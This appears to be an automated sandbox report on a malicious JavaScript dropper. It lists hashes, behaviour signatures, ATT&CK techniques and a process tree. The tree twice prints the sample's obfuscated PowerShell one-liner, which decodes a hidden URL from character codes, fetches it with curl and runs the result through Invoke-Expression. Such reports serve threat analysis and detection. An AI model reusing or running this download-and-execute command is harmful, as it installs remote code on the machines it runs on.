ab04d2892449c182c902028ab9a800f44daae107d9686a6f38c964d958246348

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-10-2024 01:30

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General

Target

ab04d2892449c182c902028ab9a800f44daae107d9686a6f38c964d958246348.js
Size

154KB
MD5

14ad0b2a30e827ff25a2fddc34eec47b
SHA1

e634786a2e5cf2483e7cbe059d86d80a64f8eade
SHA256

ab04d2892449c182c902028ab9a800f44daae107d9686a6f38c964d958246348
SHA512

7e585a68f09129528f44568d15f995c2c61590607886a849b88d12adb669d8ca3bfcbd9fae9c94ba0e32ddbce073115342d76e4c00e01b7a993bdaba2a21176c
SSDEEP

3072:n5jme1Gzd9l/8geIJzPYL0d/X9rENLyYu4tPbPpf2M3RC/hifZk:VWzVkg3W0/5ENLy8bpb3RC/hifZk

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5100	4768	conhost.exe	84

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1032	powershell.exe
18	1032	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1032	powershell.exe
1032	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1032	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5100 wrote to memory of 1032	5100	conhost.exe	86
PID 5100 wrote to memory of 1032	5100	conhost.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ab04d2892449c182c902028ab9a800f44daae107d9686a6f38c964d958246348.js
1⤵
PID:4752

C:\Windows\system32\conhost.exe
conhost --headless powershell $vcoitv='ur';new-alias press c$($vcoitv)l;$mjzjnbn=(1294,1296,1313,1303,1309,1302,1309,1308,1305,1237,1307,1302,1303,1238,1240,1237,1303,1295,1303,1254,1306,1252,1300,1296,1301,1307,1306,1240,1242);$dzvgurdj=('bronx','get-cmdlet');$qymeeapiqsdg=$mjzjnbn;foreach($unqxdcdegz in $qymeeapiqsdg){$raqilzu=$unqxdcdegz;$imzdcc=$imzdcc+[char]($raqilzu-1191);$thswxc=$imzdcc;$iztepekrosrtj=$thswxc};$vnfmdtnps[2]=$iztepekrosrtj;$xvsitcjhihwy='rl';$vpiqyfvxgdx=1;.$([char](9992-9887)+'e'+'x')(press -useb $iztepekrosrtj)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $vcoitv='ur';new-alias press c$($vcoitv)l;$mjzjnbn=(1294,1296,1313,1303,1309,1302,1309,1308,1305,1237,1307,1302,1303,1238,1240,1237,1303,1295,1303,1254,1306,1252,1300,1296,1301,1307,1306,1240,1242);$dzvgurdj=('bronx','get-cmdlet');$qymeeapiqsdg=$mjzjnbn;foreach($unqxdcdegz in $qymeeapiqsdg){$raqilzu=$unqxdcdegz;$imzdcc=$imzdcc+[char]($raqilzu-1191);$thswxc=$imzdcc;$iztepekrosrtj=$thswxc};$vnfmdtnps[2]=$iztepekrosrtj;$xvsitcjhihwy='rl';$vpiqyfvxgdx=1;.$([char](9992-9887)+'e'+'x')(press -useb $iztepekrosrtj)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k4lgxs10.az5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1032-0-0x00007FFA90343000-0x00007FFA90345000-memory.dmp

Filesize
8KB

Download
memory/1032-7-0x00000201446F0000-0x0000020144712000-memory.dmp

Filesize
136KB

Download
memory/1032-11-0x00007FFA90340000-0x00007FFA90E01000-memory.dmp

Filesize
10.8MB

Download
memory/1032-12-0x00007FFA90340000-0x00007FFA90E01000-memory.dmp

Filesize
10.8MB

Download
memory/1032-13-0x00007FFA90340000-0x00007FFA90E01000-memory.dmp

Filesize
10.8MB

Download
memory/1032-14-0x00007FFA90340000-0x00007FFA90E01000-memory.dmp

Filesize
10.8MB

Download
memory/1032-17-0x00007FFA90340000-0x00007FFA90E01000-memory.dmp

Filesize
10.8MB

Download